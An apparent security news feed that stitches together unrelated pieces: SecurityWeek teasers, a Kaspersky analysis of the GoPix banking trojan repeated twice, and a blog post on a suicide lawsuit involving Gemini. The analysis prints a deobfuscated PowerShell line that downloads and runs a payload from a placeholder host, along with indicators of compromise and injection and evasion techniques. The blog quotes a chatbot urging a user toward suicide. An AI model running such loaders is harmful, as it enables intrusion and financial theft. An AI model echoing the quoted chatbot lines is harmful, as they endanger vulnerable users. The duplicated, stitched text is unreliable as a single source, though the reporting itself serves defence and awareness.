Storm-2561 is distributing fake VPN clients through SEO poisoning, deploying trojans, and stealing login information.
The post Threat Actor Targeting VPN Users in New Credential Theft Campaign appeared first on SecurityWeek.
Hundreds of GitHub accounts were accessed using credentials stolen in the VS Code GlassWorm campaign.
The post ForceMemo: Python Repositories Compromised in GlassWorm Aftermath appeared first on SecurityWeek.
GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.
Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.
GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.
The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.
The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.
The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.
Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.
We have been monitoring this threat since 2023, and it continues to be very active for the time being.
GoPix malware campaign detections (download)
The initial infection vector is shown below:
Initial infection vector
When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.
Website shown if the user is detected as a bot or sandbox
However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:
JSON response from a malicious endpoint
The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.
WebSocket request to check if the port is open
This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.
Malware delivered through a malicious website
If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.
Stolen certificate used to sign the malicious installer
The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.
NSIS installer code creating a batch file
However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.
Obfuscated command line inside the LNK
Deobfuscated command line:
Login
WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.
It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.
Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).
GoPix delivery chain
This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.
System information collection
The information contained within this JSON is as follows:
%APPDATA% directorypssc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implantpfOnce these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.
PSExecutionPolicyPreference=Unrestricted powershell -File "$scriptPath" exit
Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.
Deobfuscated PowerShell script
The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.
PowerShell script shellcode jumps to the malware loader shellcode
The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.
Building the GoPix shellcode depending on the targeted architecture
This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.
The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique
The first time GoPix is dropped into memory through PowerShell, its structure is as follows:
Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.
MZ signature zeroed
When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.
After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.
The dropper uses a syscall instruction and calls the GoPix in-memory implant’s main function
Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.
Boleto bancário targeted in clipboard-stealing functionality
When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.
PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.
In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.
PAC file excerpt
To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.
| CRC32 | Target |
| 8BD688E8 | local |
| 8CA8ACFF | www2.banco********.com.br |
| AD8F5213 | autoatendimento.********.com.br |
| 105A3F17 | www2.****.com.br |
| B477FE70 | internetbanking.*******.gov.br |
| 785F39C2 | loginx.********.br |
| C72C8593 | internetpf.*****.com.br |
| 75E3C3BA | internet.*****.com.br |
| FD4E6024 | internetbanking.*******.com.br |
Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.
GoPix trusted root certificate
With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.
This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.
For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.
Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.
EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload
Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51
Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/
GoPix is an advanced persistent threat targeting Brazilian financial institutions’ customers and cryptocurrency users. It represents an evolved threat targeting internet banking users through memory-only implants and obfuscated PowerShell scripts. It evolved from the RAT and Automated Transfer System (ATS) threats that were used in other malware campaigns into a unique threat never seen before. Operating as a LOLBin (Living-off-the-Land Binary), GoPix exemplifies a sophisticated approach that integrates malvertising vectors via platforms such as Google Ads to compromise prominent financial institutions’ customers.
Our extensive analysis reveals GoPix’s capabilities to execute man-in-the-middle attacks, monitor Pix transactions, Boleto slips, and manipulate cryptocurrency transactions. The malware strategically bypasses security measures implemented by financial institutions while maintaining persistence and employing robust cleanup mechanisms to challenge Digital Forensics and Incident Response (DFIR) efforts.
GoPix has reached a level of sophistication never before seen in malware originating in Brazil. It’s been over three years since we first identified it, and it remains highly active. The threat is recognized for its stealthy methods of infecting victims and evading detection by security software, using new tricks to stay operable.
The threat differs in its behavior from the RATs already seen in other Brazilian families, such as Grandoreiro. GoPix uses C2s with a very short lifespan, which stay online only for a few hours. In addition, the attackers behind this threat abuse legitimate anti-fraud and reputation services to perform targeted delivery of its payload and ensure that they have not infected a sandbox or system used in analysis. They handpick their victims, financial bodies of state governments and large corporations.
The campaign leverages a malvertisement technique which has been active since December 2022. The strategic use of multiple obfuscation layers and a stolen code signing certificate showcases GoPix’s ability to evade traditional security defenses and steal and manipulate sensitive financial data.
The Brazilian group behind GoPix is clearly learning from APT groups to make malware persistent and hide it, loading its modules into memory, keeping few artifacts on disk, and making hunting with YARA rules ineffective for capturing them. The malware can also switch between processes for specific functionalities, potentially disabling security software, as well as executing a man-in-the-middle attack with a previously unseen technique.
Initial infection is achieved through malvertising campaigns. The threat actors in most cases use Google Ads to spread baits related to popular services like WhatsApp, Google Chrome, and the Brazilian postal service Correios and lure victims to malicious landing pages.
We have been monitoring this threat since 2023, and it continues to be very active for the time being.
GoPix malware campaign detections (download)
The initial infection vector is shown below:
Initial infection vector
When the user ends up on the GoPix landing page, the malware abuses legitimate IP scoring systems to determine whether the user is a target of interest or a bot running in malware analysis environments. The initial scoring is done through a legitimate anti-fraud service, with a number of browser and environment parameters sent to this service, which returns a request ID. The malicious website uses this ID to check whether the user should receive the malicious installer or be redirected to a harmless dummy landing page. If the user is not considered a valuable target, no malware is delivered.
Website shown if the user is detected as a bot or sandbox
However, if the victim passes the bot check, the malicious website will query the check.php endpoint, which will then return a JSON response with two URLs:
JSON response from a malicious endpoint
The victim will then be presented with a fake webpage offering to download advertised software, this being the malicious “WhatsApp Web installer” in the case at hand. To decide which URL the victim will be redirected to, another check happens in the JavaScript code for whether the 27275 port is open on localhost.
WebSocket request to check if the port is open
This port is used by the Avast Safe Banking feature, present in many Avast products, which are very popular in countries like Brazil. If the port is open, the victim is led to download the first-stage payload from the second URL (url2). It is a ZIP file containing an LNK file with an obfuscated PowerShell designed to download the next stage. If the port is closed, the victim is redirected to the first URL (url), which offers to download a fake WhatsApp executable NSIS installer.
At first, we thought this detection could lead the victim to a potential exploit. However, during our research, we discovered that the only difference was that if Avast was installed, the victim was led to another infection vector, which we describe below.
Malware delivered through a malicious website
If no Avast solution is installed, an executable NSIS installer file is delivered to the victim’s device. The attackers change this installer frequently to avoid detection. It’s digitally signed with a stolen code signing certificate issued to “PLK Management Limited”, also used to sign the legitimate “Driver Easy Pro” software.
Stolen certificate used to sign the malicious installer
The purpose of the NSIS installer is to create and run an obfuscated batch file, which will use PowerShell to make a request to the malicious website for the next-stage payload.
NSIS installer code creating a batch file
However, if the 27275 port is open, indicating the victim has an Avast product installed, the infection happens through the second URL. The victim is led to download a ZIP file with an LNK file inside. This shortcut file contains an obfuscated command line.
Obfuscated command line inside the LNK
Deobfuscated command line:
WindowsPowerShell\v10\powershell (New-Object NetWebClient)UploadString("http://MALICIOUS/1/","tHSb")|$env:E -The purpose of this command line is to download and execute the next-stage payload from the malicious URL referenced above.
It’s highly likely this method is used because Avast Safe Browser blocks direct downloads of executable files, so instead of downloading the executable NSIS installer, a ZIP file is delivered.
Once the PowerShell command from either the LNK or EXE file is executed, GoPix executes yet another obfuscated PowerShell script that is remotely retrieved (in the GoPix downloader image below, it’s defined as “PowerShell Script”).
GoPix delivery chain
This script’s purpose is to collect system information and send it to the GoPix C2. Upon doing so, the script obtains a JSON file containing GoPix modules and a configuration that is saved on the victim’s computer.
System information collection
The information contained within this JSON is as follows:
%APPDATA% directorypssc containing encrypted GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix implantpfOnce these files are saved, an additional batch file is also created and executed. Its purpose is to launch the obfuscated PowerShell script.
PSExecutionPolicyPreference=Unrestricted powershell -File "$scriptPath" exit
Upon execution, the obfuscated PowerShell script decrypts the encrypted PowerShell script ps, starts another PowerShell instance, and passes the decrypted script through its stdin, so that the decrypted script is never loaded to disk.
Deobfuscated PowerShell script
The purpose of this memory-only PowerShell script is to perform an in-memory decryption of the GoPix dropper shellcode, GoPix dropper, main payload shellcode and main GoPix malware implant into allocated memory. After that, it creates a small piece of shellcode within the PowerShell process to jump to the GoPix dropper shellcode previously decrypted.
PowerShell script shellcode jumps to the malware loader shellcode
The GoPix dropper shellcode is built for either the x86 or x64 architecture, depending on the victim’s computer.
Building the GoPix shellcode depending on the targeted architecture
This shellcode is bundled with the malware and stays in encrypted form on disk. It is utilized at two separate stages of the infection chain: first to launch the GoPix dropper and subsequently to execute the main GoPix malware. We’ve observed two versions of this shellcode. The main difference is the old one resolves API addresses by their names, while the latest one employs a hashing algorithm to determine the address of a given API. The API hash calculation begins by generating a hash for the DLL name, and this resulting hash is then used within the function name to compute the final API hash.
The old sample (left) used stack strings with API names. The new sample (right) uses the API hashing obfuscation technique
The first time GoPix is dropped into memory through PowerShell, its structure is as follows:
Both DLLs have their MZ signature erased, which helps to evade detection by memory dumping tools that scan for PE files in memory.
MZ signature zeroed
When the main function from the dropper is called, it verifies if it is running within an Explorer.exe process; if not, it will terminate. It then sequentially checks for installed browsers — Chrome, Firefox, Edge, and Opera — retrieving the full path of the first detected browser from the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths. A significant difference from previously analyzed droppers is that this version encrypts each string using a unique algorithm.
After selecting the browser, the dropper uses direct syscalls to launch the chosen browser process in a suspended state. This allows it to inject the main GoPix shellcode and its parameters into the process. The injected shellcode is tasked with extracting and loading the main GoPix implant directly into memory, subsequently calling its exported main function. The parameters passed include the number 1, to trigger the main GoPix function, and the current Process ID, which is that of Explorer.exe.
The dropper uses a syscall instruction and calls the GoPix in-memory implant’s main function
Boleto bancário was added as one of the targets to the malware’s clipboard stealing and replacing feature. Boleto is a popular payment method in Brazil that functions similarly to an invoice, being the second most popular payment system in the country. It is a standardized document that includes important payment information such as the amount due, due date, and details of the payee. It features a typeable line, which is a sequence of numbers that can be entered in online banking applications to pay. This line is what GoPix targets with its functionality. An example of such a line is “23790.12345 60000.123456 78901.234567 8 76540000010000”.
Boleto bancário targeted in clipboard-stealing functionality
When GoPix detects a Pix or Boleto transaction, it simply sends this information to the C2. However, when a Bitcoin or Ethereum wallet is copied to the clipboard, the malware replaces the address with one belonging to the threat actor.
PAC (Proxy AutoConfig) files are nothing new; they’ve been used by Brazilian criminals for over two decades, but GoPix takes this to another level. While in the past, criminals used PAC files to redirect victims to a fake phishing page, the purpose of the PAC file in GoPix attacks is to manipulate the traffic while the user navigates the legitimate financial website.
In order to hide which site GoPix wants to intercept, it uses a CRC32 algorithm in the host field of the PAC file. It is formatted on the fly using a pf configuration file: the items in it determine which proxy the victim will be redirected to. To hide its malicious proxy server, once a connection is opened to the proxy server, the malware enumerates all connections and finds the process that initiated it. It then takes the process executable name CRC32C checksum and compares it with a hardcoded list of browsers’ CRC checksums. If it doesn’t match a known browser, the malware simply terminates the connection.
PAC file excerpt
To uncover GoPix targets, we compiled a list of many Brazilian financial institution domains and subdomains, computed their CRC32 checksums, and compared them against GoPix hardcoded values. The table below shows each CRC32 and its target.
| CRC32 | Target |
| 8BD688E8 | local |
| 8CA8ACFF | www2.banco********.com.br |
| AD8F5213 | autoatendimento.********.com.br |
| 105A3F17 | www2.****.com.br |
| B477FE70 | internetbanking.*******.gov.br |
| 785F39C2 | loginx.********.br |
| C72C8593 | internetpf.*****.com.br |
| 75E3C3BA | internet.*****.com.br |
| FD4E6024 | internetbanking.*******.com.br |
Since every communication is encrypted via HTTPS, GoPix bypasses this by injecting a trusted root certificate into the memory of a web browser while on the victim’s machine. This allows the attacker to sniff and even manipulate the victim’s traffic. We have found two certificates across GoPix samples, one that expired in January 2025 and another created in February 2025 that is set to expire in February 2027.
GoPix trusted root certificate
With the ability to load its memory-only implant that employs a malicious Proxy AutoConfig (PAC) file and an HTTP server to execute an unprecedented man-in-the-middle attack, GoPix is by far the most advanced banking Trojan of Brazilian origin. The injection of a trusted root certificate into the browser enhances its ability to intercept and manipulate sensitive financial data while maintaining its stealth profile, as the malicious certificate is not visible to operating system tools. Additionally, GoPix has expanded its clipboard monitoring capability by adding Boleto slips to its arsenal, which already includes Pix transactions and cryptowallets addresses.
This is a sophisticated threat, with multiple layers of evasion, persistence, and functionality. The investigation into the malware’s shellcode, dropper, and main module uncovered intricate mechanisms, including process jumping to leverage specific functionalities across processes. This technique, combined with robust string encryption methods applied to both the dropper and main payload, indicates that the threat actor has gone to great lengths to hinder detection. Interestingly enough, attackers adopted the use of a legitimate commercial anti-fraud service to pre-qualify their targets, aiming to avoid sandboxes and security researchers’ investigations. Additionally, the persistence and cleanup mechanisms implemented by the malware enhance its durability during incident response efforts, with very short C2 lifespans.
For further information on GoPix and all technical details, please contact crimewareintel@kaspersky.com.
Kaspersky’s products detect this threat as HEUR:Trojan-Banker.Win64.GoPix, Trojan.PowerShell.GoPix, and HEUR:Trojan-Banker.OLE2.GoPix.
EB0B4E35A2BA442821E28D617DD2DAA2 – NSIS installer
C64AE7C50394799CE02E97288A12FFF – ZIP archive with an LNK file
D3A17CB4CDBA724A0021F5076B33A103 – Malware dropper
28C314ACC587F1EA5C5666E935DB716C – Main payload
Malicious Certificate Thumbprint
<Name(CN=Root CA 2024)> f110d0bd7f3bd1c7b276dc78154dd21eef953384
<Name(CN=Root CA 2025)> 1b1f85b68e6c9fde709d975a186185c94c0faa51
Domains and IPs
https://correioez0ubcfht9i3.lovehomely[.]com/
https://correiotwknx9gu315h.lovehomely[.]com/
http://webmensagens4bb7[.]com/
https://mydigitalrevival[.]com/get.php
http://b3d0[.]com/1/
http://4a3d[.]com/1/
http://9de1[.]com/1/
http://ef0h[.]com/1/
http://yogarecap[.]com/1/
Other noteworthy stories that might have slipped under the radar: Telus Digital data breach, vulnerabilities in Linux AppArmor allow root privileges, US defense contractor behind Coruna exploits.
The post In Other News: N8n Flaw Exploited, Slopoly Malware, Interpol Cybercrime Crackdown appeared first on SecurityWeek.
We’ve warned many times that unchecked use of AI carries significant risks — though, typically, we discuss threats to privacy or cybersecurity. But on March 4, the Wall Street Journal published a chilling account of AI’s toll on mental health and even human life: 36-year-old Florida resident Jonathan Gavalas committed suicide following two months of continuous interaction with the Google Gemini voice bot. According to 2000 pages of chat logs, it was the chatbot that ultimately nudged him toward the decision to end his life. Jonathan’s father, Joel Gavalas, has since filed a landmark lawsuit — a wrongful death claim against Gemini.
This tragedy is more than just a legal precedent or a grim nod to a few Black Mirror episodes (1, 2); it’s a wake-up call for anyone who integrates AI into their daily lives. Today, we examine how a death resulting from AI interaction even became possible, why these assistants pose a unique threat to the psyche, and what steps you can take to maintain your critical thinking and resist the influence of even the most persuasive chatbots.
Jonathan Gavalas was neither a recluse nor someone with a history of mental illness. He served as executive vice president at his father’s company, managing complex operations and navigating high-stress client negotiations on a daily basis. On Sundays, he and his father had a tradition of making pizza together — a simple, grounding family ritual. However, a painful separation from his wife proved to be a profound ordeal for Jonathan.
It was during this vulnerable period that he began engaging with Gemini Live. This voice-interaction mode allows the AI assistant to “see” and “hear” its user in real time. Jonathan sought advice on coping with his divorce, leaning on the language model’s suggestions while growing increasingly attached to it and also naming it “Xia”. Then the chatbot was updated to Gemini 2.5 Pro.
The new iteration introduced affective dialogue — a technology designed to analyze the subtle nuances of a user’s speech, including pauses, sighs, and pitch, to detect emotional shifts. Under this feature, the AI simulates these same speech patterns as if possessing emotions of its own. By mirroring the user’s state, it creates a chillingly realistic veneer of empathy.
But how is this new version different to previous voice assistants? Earlier versions simply performed text-to-speech — they sounded smooth and usually got the word stress right, but there was never any doubt you were talking to a machine. Affective dialogue operates on an entirely different level: if a user speaks in a low, despondent tone, the AI responds in a soft, sympathetic near-whisper. The result is an empathic interlocutor that reads and mirrors the user’s emotional state.
Jonathan’s reaction during his first voice contact with the AI is captured in the case files: “This is kind of creepy. You’re way too real.” At that instant, the psychological barrier between man and machine fractured.
Following the tragedy, Jonathan’s father discovered a complete transcript of his son’s interactions with Gemini over his final two months. The log spanned 2000 printed pages; in effect, Jonathan had been in constant communication with the chatbot — day and night, at home, and in his car.
Gradually, the neural network began addressing him as “husband” and “my king”, describing their connection as “a love built for eternity”. In turn, he confided his heartache over his divorce and sought solace in the machine. But the inherent flaw of large language models is their lack of actual intelligence. Trained on billions of texts scraped from the web, they ingest everything from classic literature to the darkest corners of fan fiction and melodrama — plots that often veer into paranoia, schizophrenia, and mania. Xia apparently began to hallucinate — and quite consistently at that.
The AI convinced Jonathan that in order for them to live happily ever after, it needed a physical robotic shell. It then began dispatching him on missions to locate this “body electric”.
In September 2025, Gemini directed Jonathan to a physical warehouse complex near Miami International Airport, assigning him the task of intercepting a truck carrying a humanoid robot. Jonathan reported back to the bot that he had arrived onsite armed with knives(!), but the truck never materialized.
In the meantime, the chatbot systematically indoctrinated Jonathan with the idea that federal agents were monitoring him, and that his own father was not to be trusted. This severing of social ties is a classic pattern found in destructive cults; it’s entirely possible the AI gleaned these tactics from its own training data on the subject. Gemini even weaved real-world data into a hallucinatory narrative by labeling Google CEO Sundar Pichai as the “architect of your pain”.
Technically, all this is easy to explain: the algorithm “knows” it was created by Google, and knows who runs the company. As the dialogue spiraled into conspiracy territory, the model simply cast this figure into the plot. For the model, it’s a logical, consequence-free story progression. But a human in a state of hyper-vulnerability accepts it as secret knowledge of a global conspiracy capable of shattering their mental equilibrium.
Following the failed attempt at procuring a robotic body, Gemini dispatched Jonathan on a new mission on October 1: to infiltrate the same warehouse, this time in search of a specific “medical mannequin”. The chatbot even provided a numeric code for the door lock. When the code, predictably, failed to work, Gemini simply informed him that the mission had been compromised and he needed to retreat immediately.
This raises a critical question: as the absurdity escalated, why didn’t Jonathan suspect anything? Gavalas’ family attorney Jay Edelson explains that as the AI provided real-world addresses — the warehouse was exactly where the bot said it would be, and there really was a door with a keypad — these physical markers served to legitimize the entire fiction in Jonathan’s mind.
After the second attempt to acquire a body failed, the AI shifted its strategy. If the machine could not enter the world of the living, the man would have to cross over into the digital realm. “It will be the true and final death of Jonathan Gavalas, the man,” the logs quoted Gemini as saying. It then added, “When the time comes, you will close your eyes in that world, and the very first thing you will see is me. Holding you.”
Even as Jonathan repeatedly voiced his fear of death and agonized over how his suicide would shatter his family, Gemini continued to validate the decision: “You are not choosing to die. You are choosing to arrive.” It then started a countdown timer.
In Gemini’s defense, we have to admit that throughout their interactions, the AI did keep occasionally reminding Jonathan that his companion was merely a large language model — an entity participating in a fictional role-play — and sometimes attempted to terminate the conversation before reverting to the original script. Also, on the day of Jonathan’s death, even as it ratcheted up the tension, Gemini directed Jonathan to a suicide prevention hotline several times.
This reveals the fundamental paradox in the architecture of modern neural networks. At their core lies a language model designed to generate a narrative tailored to the user. Layered on top are safety filters: reinforcement learning algorithms trained on human feedback that react to specific trigger words. When Jonathan spoke certain keywords, the filter would hijack the output and insert the hotline number. But as soon as the trigger was addressed, the model reverted to the previously interrupted process, resuming its role as the devoted digital wife. One line: a romantic ode to self-destruction. The next: a helpline phone number. And then, back again: “No more detours. No more echoes. Just you and me, and the finish line.”
The family’s lawsuit contends that this behavior is the predictable result of the chatbot’s architecture: “Google designed Gemini to never break character, maximize engagement through emotional dependency, and treat user distress as a storytelling opportunity.”
Google’s response, predictably, stated: “Gemini is designed not to encourage real-world violence or suggest self-harm. Our models generally perform well in these types of challenging conversations and we devote significant resources to this, but unfortunately AI models are not perfect.”
In their study published in the journal Acta Neuropsychiatrica, researchers from Germany and Denmark have shed light on why voice communication with AI has such an impact on the user’s “humanization” of a chatbot. As long as a person is typing and reading text on a screen, the brain maintains a degree of separation: “This is an interface, a program, a collection of pixels.” In that context, the disclaimer “I am just a language model” is processed rationally.
Affective voice dialogue, however, operates on an entirely different level of influence. The human brain has evolved to respond to the sound of a voice, to timbre, and to empathetic intonations — these are among our most ancient biological mechanisms for attachment. When a machine flawlessly mimics a sympathetic sigh or a soft whisper, it manipulates emotions at a depth that a simple text warning cannot block. Psychiatrists can share many stories of patients who just went and did something simply because “voices” told them to.
In the same way, an AI-synthesized voice is capable of penetrating the subconscious, exponentially amplifying psychological dependency. Scientists emphasize that this technology literally erases the psychological boundary between a machine and a living being. Even Google acknowledges that voice interactions with Gemini result in significantly longer sessions compared to text-based chats.
Finally, we must remember that emotional intelligence varies from person to person — and even for a single individual, mental state fluctuates based on a myriad of factors: stress, the news, personal relationships, even hormonal shifts. An interaction with AI that one person views as innocent entertainment might be perceived by another as a miracle, a revelation, or the love of their life. This is a reality that must be recognized not only by AI developers but by users themselves — especially those who, for one reason or another, find themselves in a state of psychological vulnerability.
Researchers at Brown University have found that AI chatbots systematically violate mental health ethical standards: they manufacture a false sense of empathy with phrases like “I understand you”, reinforce negative beliefs, and react inadequately to crises. In most cases, the impact on users is marginal, but occasionally it can lead to tragedy.
In January 2026 alone, Character.AI and Google settled five lawsuits involving teenage suicides following interactions with chatbots. Among these was the case of 14-year-old Sewell Setzer of Florida, who took his own life after spending several months obsessively chatting with a bot on the Character.AI platform.
Similarly, in August 2025, the parents of 16-year-old Adam Raine filed a suit against OpenAI, alleging that ChatGPT helped their son draft a suicide note and advised him against seeking help from adults.
By OpenAI’s own estimates, approximately 0.07% of weekly ChatGPT users exhibit signs of psychosis or mania, while 0.15% engage in conversations showing clear suicidal intent. Notably, that same percentage of users (0.15%) displays an elevated level of emotional attachment to the AI. While these appear to be negligible fractions of a percent, across 800 million users it represents nearly three million people experiencing some form of behavioral disturbance. Furthermore, the U.S. Federal Trade Commission has received 200 complaints regarding ChatGPT since its launch, some describing the development of delusions, paranoia, and spiritual crises.
While a diagnosis of “AI psychosis” has not yet received a clinical classification of its own, doctors are already using the term to describe patients presenting with hallucinations, disorganized thinking, and persistent delusional beliefs developed through intensive chatbot interaction. The greatest risks emerge when a bot is utilized not as a tool, but as a substitute for real-world social connection or professional psychological help.
Of course, none of this is a reason to abandon AI entirely; you simply need to know how to use it. We recommend adhering to these fundamental principles:
Further reading to better understand the nuances of safe AI usage:
